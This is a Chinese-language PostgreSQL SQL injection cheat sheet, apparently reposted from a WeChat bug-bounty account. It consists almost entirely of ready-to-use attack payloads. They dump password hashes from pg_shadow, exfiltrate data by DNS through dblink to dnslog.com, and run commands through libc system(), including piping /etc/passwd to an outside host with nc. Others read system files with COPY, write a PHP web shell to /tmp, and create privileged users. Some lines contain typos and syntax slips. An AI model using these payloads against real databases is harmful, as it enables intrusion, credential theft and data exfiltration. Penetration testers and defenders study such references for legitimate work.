Postgres SQL 注入速查表

admin 2024年5月31日09:24:23评论5 views字数 2635阅读8分47秒阅读模式
关于 SQL 注入 PostgreSQL 数据库的一些有用的语法
Postgres SQL 注入速查表
版本:
SELECT version()
当前用户:
SELECT user;SELECT current_user;SELECT session_user;SELECT usename FROM pg_user;SELECT getpgusername();
列出用户:
SELECT usename FROM pg_user
列出密码哈希值:
SELECT usename, passwd FROM pg_shadow
列出权限:
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
列出 DBA 帐户:
SELECT usename FROM pg_user WHERE usesuper IS TRUE
当前数据库:
SELECT current_database()
列出数据库:
SELECT datname FROM pg_database
获取列:
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
获取表:
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r',''AND n.nspname NOT IN ('pg_catalog''pg_toast'AND pg_catalog.pg_table_is_visible(c.oid)
根据列名查找表:
SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';
选择第 N 行:
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0;SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
选择第 N 个字符:
SELECT substr('abcd', 3, 1); -返回c
按位与:
SELECT 6 & 2; -返回2SELECT 6 & 1; -返回0
ASCII转字符
SELECT chr(65);
字符转ASCII:
SELECT ascii('A');
数据类型转换:
SELECT CAST(1 as varchar);SELECT CAST('1' as int);
字符串连接:
SELECT 'A' || 'B'; -返回AB
case语句:
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -返回A
避免使用引号:
SELECT CHR(65)||CHR(66); -返回AB
时间延迟:
SELECT pg_sleep(10); -postgres 8.2+以上CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); -自己创建延时
DNS请求:
SELECT * FROM dblink('host=dnslog.com user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
命令执行:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;SELECT system('cat /etc/passwd | nc 10.0.0.1 8080');
读取文件:
CREATE TABLE mydata(t text);COPY mydata FROM '/etc/passwd';' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1;' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2;
写入文件:
DROP TABLE mytest mytest;CREATE TABLE mytable (mycol text);INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');COPY mytable (mycol) TO '/tmp/test.php';
获取ip地址:
SELECT inet_server_addr(); - -返回数据库服务器 IP 地址(如果使用本地连接则返回 nullSELECT inet_server_port(); -返回数据库服务器 IP 地址(如果使用本地连接则返回 null
创建用户:
CREATE USER test1 PASSWORD 'pass1';CREATE USER test1 PASSWORD 'pass1' CREATEUSER;
更改用户权限:
ALTER USER test1 CREATEUSER CREATEDB;
获取数据库文件的位置:
SELECT current_setting('data_directory');SELECT current_setting('hba_file');
默认系统数据库:
template0template1

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。

原文始发于微信公众号(柠檬赏金猎人):Postgres SQL 注入速查表

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月31日09:24:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Postgres SQL 注入速查表http://cn-sec.com/archives/2787268.html

发表评论

匿名网友 填写信息